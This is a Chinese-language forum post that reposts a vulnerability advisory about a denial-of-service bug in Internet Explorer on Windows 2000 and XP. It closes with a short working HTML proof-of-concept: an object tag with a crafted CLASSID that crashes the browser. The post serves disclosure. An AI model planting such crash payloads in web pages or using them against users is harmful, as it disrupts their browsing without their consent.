痞菜
级别:管理员 威望:9 经验:18 货币:99999 体力: 来源:不知道 总发帖数:2602 注册日期:2001-04-13
|
|
查看 邮件 主页 QQ 消息 引用 复制 下载
W2K 和 XP 中 IE 的 DoS
漏洞 (MS,缺陷)
涉及程序: IE
描述: W2K 和 XP 中 IE 的 DoS
漏洞
详细: 在 Windows 2000 和 Windows XP 操作系统的 IE
浏览器中被发现存在一个拒绝服务漏洞,攻击者如果成功利用此漏洞的话,将会导致IE 浏览器的崩溃。
如攻击者可以构建在object标记中包含恶意CLASSSID值的页面,当IE用户浏览的时候,导致IE浏览器崩溃。
当用户遭到攻击后,如果还能够通过停止浏览器的使用,以恢复其它正常的操作,则只要重启即可恢复正常。也正因为如此,所以微软根据他们的策略(http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/columns/security/vulnrbl.asp)没有把它定义为一个标准的安全漏洞。
攻击方法: <!-- start dosIE-doe.html -->
<object ID="dosIE-doe"
CLASSID="CLSID:00022613-0000-0000-C000-000000000046"
</object>
<!-- end dosIE-doe.html -->
|